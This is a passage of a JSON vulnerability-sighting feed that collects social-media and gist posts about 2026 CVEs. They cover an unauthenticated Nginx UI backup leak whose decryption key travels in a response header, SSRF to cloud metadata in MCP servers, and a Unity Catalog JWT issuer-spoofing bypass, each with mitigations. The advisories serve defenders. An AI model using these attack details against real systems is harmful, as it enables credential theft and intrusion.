causes XSS in html/template\nCVE ID : CVE-2026-39823\n \n Published : May 7, 2026, 7:41 p.m. | 44\u00a0minutes ago\n \n Description : CVE-2026-27142 fixed a vulnerability in which URLs were not correctly escaped inside of a tag's \n Vi...", "creation_timestamp": "2026-05-07T21:27:53.385096Z"}, {"uuid": "1ebea9b5-6b8c-41f9-81f7-e5e9971b3253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/GithubRedTeam/83265", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a HTB-Snapped-Writeup\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a karimelsheikh1\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-07 21:16:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nHTB Snapped \u2014 Hard Linux machine writeup. CVE-2026-27944 (Nginx UI unauthenticated backup disclosure) chained with CVE-2026-3888 (snapd race condition LPE) to achieve full system compromise.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-07T22:00:05.000000Z"}, {"uuid": "97f73103-ab5e-4f56-a50f-938fccfc6b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2710", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlcjgcbm3i2q", "content": "CVE-2026-2710 - CVE-2022-1234: Cisco Webex Meeting Server Authentication Bypass\nCVE ID : CVE-2026-2710\n \n Published : May 7, 2026, 11:16 p.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.\n \n...", "creation_timestamp": "2026-05-08T00:54:58.066821Z"}, {"uuid": "19950851-adb3-45ad-b064-9c07e2dde678", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27826", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116536100010719335", "content": "(bishopfox.com) SSRF and Token Passthrough in MCP Servers: Old Vulnerabilities in New Integrations\nCritical SSRF-to-RCE chain (CVE-2026-27826) in mcp-atlassian highlights resurgent risks in MCP server integrations. Attackers exploit lax URL validation to access internal systems, cloud metadata, or achieve RCE via path traversal (CVE-2026-27825).\nIn brief - SSRF and token passthrough vulnerabilities in MCP servers (e.g., Atlassian, Microsoft) enable unauthorized access to internal resources, credential exfiltration, and RCE. Mitigations include strict destination validation and network segmentation.\nTechnically - MCP servers accepting arbitrary URIs without validation (e.g., mcp-atlassian\u2019s custom header injection) allow SSRF targeting localhost/cloud metadata (AWS 169.254.169.254). Token passthrough flaws violate OAuth principles, enabling security control bypass. Mitigations: block private IP ranges, enforce allowlists, and adopt RFC 8693 for scoped token exchange.\nSource: https://bishopfox.com/blog/otto-support-ssrf-token-passthrough-with-mcp\n#Cybersecurity #ThreatIntel", "creation_timestamp": "2026-05-08T02:20:58.983689Z"}, {"uuid": "6a6368c0-0494-46bf-af9b-5f3da8f810f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27825", "type": "seen", "source": "https://swecyb.com/ap/users/116080658609901341/statuses/116536100010719335", "content": "(bishopfox.com) SSRF and Token Passthrough in MCP Servers: Old Vulnerabilities in New Integrations\nCritical SSRF-to-RCE chain (CVE-2026-27826) in mcp-atlassian highlights resurgent risks in MCP server integrations. Attackers exploit lax URL validation to access internal systems, cloud metadata, or achieve RCE via path traversal (CVE-2026-27825).\nIn brief - SSRF and token passthrough vulnerabilities in MCP servers (e.g., Atlassian, Microsoft) enable unauthorized access to internal resources, credential exfiltration, and RCE. Mitigations include strict destination validation and network segmentation.\nTechnically - MCP servers accepting arbitrary URIs without validation (e.g., mcp-atlassian\u2019s custom header injection) allow SSRF targeting localhost/cloud metadata (AWS 169.254.169.254). Token passthrough flaws violate OAuth principles, enabling security control bypass. Mitigations: block private IP ranges, enforce allowlists, and adopt RFC 8693 for scoped token exchange.\nSource: https://bishopfox.com/blog/otto-support-ssrf-token-passthrough-with-mcp\n#Cybersecurity #ThreatIntel", "creation_timestamp": "2026-05-08T02:20:59.164474Z"}, {"uuid": "522b3b22-67bc-4498-b44a-85309131f05d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27140", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlcoqsnj6m2m", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 371 interactions\nCVE-2026-41940: 96 interactions\nCVE-2026-0300: 24 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 15 interactions\nCVE-2026-25679: 10 interactions\nCVE-2026-27140: 8 interactions\n", "creation_timestamp": "2026-05-08T02:30:21.167327Z"}, {"uuid": "94d6c5da-c908-46e6-b5b8-1cf9dc19a79a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27329", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116538077067892769", "content": "Attention, elevated activities detected targeting YITH WooCommerce Wishlist Plugin (CVE-2026-27329) https://vuldb.com/vuln/361813/cti", "creation_timestamp": "2026-05-08T08:45:36.130038Z"}, {"uuid": "23a32063-1dc1-4c50-baf9-019b46e43d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27060", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mrxiy5imiu2q", "content": "CVE-2026-27060 armember (CVSS Score 7.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-31T17:44:08.001587Z"}, {"uuid": "ab44217a-5e2c-41b4-ba05-93aed5e93c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/xvoYgOFnUf5jFw65_bW2FC7fcn6orx4l4LTjm0d68ZkOEzo", "content": "", "creation_timestamp": "2026-05-08T03:00:06.000000Z"}, {"uuid": "f687db0a-12a3-473a-9175-47c53710a510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27962", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3ms76bxx2di2l", "content": "CVE-2026-27962 - rootio-authlib\nThe rootio-Authlib library on Root:PyPI has a security weakness that makes it possible for unauthorized individuals to access systems that use this library. This could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rootioauthlib #RootPyPI #CVE #infosec", "creation_timestamp": "2026-08-03T18:54:04.312904Z"}, {"uuid": "fb8c5400-4ecc-4a49-b8e0-588683cab768", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/N1Jo8qZWaWReiL_t-N5l6uzcgIVKcO6O8PdoiYgN9aP0HPY", "content": "", "creation_timestamp": "2026-05-07T03:00:06.000000Z"}, {"uuid": "c8e1142d-f759-49e2-a32d-8fe9a3f7697d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/cyberok_news/189", "content": "\ud83d\udcbb \u0423\u0442\u0435\u0447\u043a\u0430 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0432 Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0434\u0430\u043b \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\n\n\u0412 \u043c\u0430\u0440\u0442\u0435 2026 \u0433\u043e\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE\u20112026\u201127944 (CVSS 9.8) \u0432 Nginx UI \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0432\u0435\u0431\u2011\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f Nginx. \u0427\u0435\u0440\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0443\u044e \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 (SSL-\u043a\u043b\u044e\u0447\u0438) \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx, \u2014 \u0438 \u0442\u0443\u0442 \u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043b\u044e\u0447\u0443, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u043c\u0443 \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u043e\u0442\u0432\u0435\u0442\u0430.\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~500 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 Nginx UI \u0432 \u0420\u0443\u043d\u0435\u0442\u0435, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 35% \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b CVE-2026-27944.\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0431\u044b\u043b\u0438 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\n\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 (GitHub)  \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u043f\u0440\u044f\u043c\u043e\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443, \u0440\u0438\u0441\u043a \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0437\u043b\u043e\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u044b\u0441\u043e\u043a.\n\n\ud83d\udca5 \u041e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u2022 \u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438: Nginx UI \u0434\u043e 2.3.3 (\u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u044f).\n\u2022 \u0422\u0438\u043f: \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 + \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f (CWE-306, CWE-311).\n\u2022 \u041a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442: \u043f\u0443\u0442\u044c /api/backup.\n\u2022 \u041f\u0440\u0438\u0447\u0438\u043d\u0430: \u043f\u0443\u0442\u044c /api/backup \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0441\u0435\u0440\u0432\u0435\u0440 \u043e\u0442\u0434\u0430\u0451\u0442 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u0432\u0441\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043a\u043b\u044e\u0447 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 HTTP X-Backup-Security. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 SSL-\u043a\u043b\u044e\u0447\u0438, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Nginx.\n\n\ud83d\udd0d \u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0430\u0442\u0430\u043a\u0438\n\u2022 \u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043a /api/backup \u043e\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n\u2022 \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043b\u043e\u0433\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 (access-\u043b\u043e\u0433\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430).\n\u2022 \u0410\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u044b HTTP \u043e\u0442 Nginx UI (\u043f\u043e\u043b\u043d\u0430\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u0435\u0441\u0438\u0442\u044c \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u041c\u0411).\n\u2022 \u041f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043f\u0440\u0438\u0437\u043d\u0430\u043a \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0443\u0436\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0430).\n\n\ud83d\udee1 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Nginx UI \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 2.3.3 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435.\n2. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u044c\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Nginx UI \u2014 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430; \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u043d\u0443\u044e \u0441\u0435\u0442\u044c (VPN) \u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0430\u0434\u0440\u0435\u0441\u043e\u0432.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a /api/backup \u2014 \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442, \u0432\u044b\u0441\u043e\u043a\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.\n4. \u0420\u043e\u0442\u0438\u0440\u0443\u0439\u0442\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b: \u0441\u043c\u0435\u043d\u0438\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Nginx UI, \u043f\u0435\u0440\u0435\u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u0435 SSL-\u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b \u0438 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435 \u0442\u043e\u043a\u0435\u043d\u044b.\n5. \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0439\u0442\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a /api/backup \u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Backup-Security \u0432 \u043e\u0442\u0432\u0435\u0442\u0430\u0445 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (WAF) \u0438\u043b\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438\u2011\u0441\u0435\u0440\u0432\u0435\u0440\u0430.", "creation_timestamp": "2026-08-04T13:00:19.436227Z"}, {"uuid": "90dc8b69-4ebe-4d5a-933f-bc928de98d45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27478", "type": "seen", "source": "https://gist.github.com/alon710/40ab7c8f3b92395e6ea4963afcd7e9fa", "content": "# CVE-2026-27478: CVE-2026-27478: Authentication Bypass via Dynamic JWKS Discovery in Unity Catalog\n\n> **CVSS Score:** 9.1\n> **Published:** 2026-05-11\n> **Full Report:** https://cvereports.com/reports/CVE-2026-27478\n\n## Summary\nUnity Catalog version 0.4.0 and prior contains a critical authentication bypass vulnerability in the token exchange endpoint. The server dynamically fetches JSON Web Key Sets (JWKS) based on unverified 'iss' (issuer) claims within incoming JSON Web Tokens (JWTs), allowing unauthenticated attackers to forge tokens and impersonate arbitrary users.\n\n## TL;DR\nA flaw in Unity Catalog's JWT validation allows complete authentication bypass. By supplying a malicious 'iss' claim, attackers force the server to fetch a public key from an attacker-controlled server to validate a forged token.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-290, CWE-346, CWE-1390\n- **Attack Vector**: Network\n- **CVSS v3.1**: 9.1 (Critical)\n- **EPSS Score**: 0.00023 (6.59%)\n- **Impact**: Complete Authentication Bypass / User Impersonation\n- **Exploit Status**: Proof of Concept Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Unity Catalog <= 0.4.0\n- **unitycatalog**: <= 0.4.0 (Fixed in: `0.4.1`)\n\n## Mitigation\n\n- Upgrade Unity Catalog to version 0.4.1 or later.\n- Configure 'server.allowed-issuers' with a strict whitelist of trusted OIDC providers.\n- Configure 'server.audiences' to validate the intended recipient of incoming tokens.\n- Implement network egress filtering to restrict outbound HTTP requests from the Unity Catalog server to known identity providers.\n\n**Remediation Steps:**\n1. Download Unity Catalog version 0.4.1 from the official repository.\n2. Stop the running Unity Catalog service.\n3. Open the 'etc/conf/server.properties' configuration file.\n4. Add the 'server.allowed-issuers' property with your trusted IdP URLs (e.g., server.allowed-issuers=https://accounts.google.com).\n5. Add the 'server.audiences' property with your application client ID.\n6. Ensure 'server.authorization=enable' is set.\n7. Start the updated Unity Catalog service.\n8. Verify the application logs to ensure successful startup and proper configuration loading.\n\n## References\n\n- [GitHub Security Advisory GHSA-qqcj-rghw-829x](https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x)\n- [NVD Detail CVE-2026-27478](https://nvd.nist.gov/vuln/detail/CVE-2026-27478)\n- [Patch Commit (Backport to 0.4)](https://github.com/unitycatalog/unitycatalog/commit/89b91863e4ec0ead5865a602a4203ed254c151da)\n- [Release Tag (v0.4.1)](https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1)\n- [Documentation on Auth Configuration](https://github.com/unitycatalog/unitycatalog/blob/main/docs/server/auth.md)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-27478) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-05-11T18:10:29.000000Z"}, {"uuid": "0eebee2a-0495-42ce-adee-c0e3d46baffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/CyberDispatch/919", "content": "New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical \u2014 high-severity, widely used software, or already drawing attention from the security community.\n\nCheck these first, patch what applies, and don't wait on the ones marked urgent \u2014 CVE-2026-2796 (Mozilla Firefox), CVE-2026-21385 (Qualcomm), CVE-2026-2256 (MS-Agent), CVE-2026-26198 (Ormar), CVE-2026-27966 (langflow), CVE-2025\u201364712 (Unstructured.io), CVE-2026-24009 (Docling), CVE-2026-23600 (HPE AutoPass License Server), CVE-2026-27636, CVE-2026-28289 (aka Mail2Shell) (FreeScout), CVE-2025-67736 (FreePBX), CVE-2025-34288 (Nagios XI), CVE-2025-14500 (IceWarp), CVE-2026-20079 (Cisco Secure Firewall Management Center), CVE-2025-13476 (Viber app for Android), CVE-2026-3336, CVE-2026-3337, CVE-2026-3338 (Amazon AWS-LC), CVE-2026-25611 (MongoDB), CVE-2026-3536, CVE-2026-3537, CVE-2026-3538 (Google Chrome), CVE-2026-27970 (Angular), CVE-2026-29058 (AVideo) a privilege escalation flaw in IPVanish VPN for macOS (no CVE), and and a remote code execution vulnerability in Ghost CMS (no CVE).", "creation_timestamp": "2026-08-29T20:00:19.189205Z"}, {"uuid": "665265be-9c3b-43ff-990d-7ee32b591bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 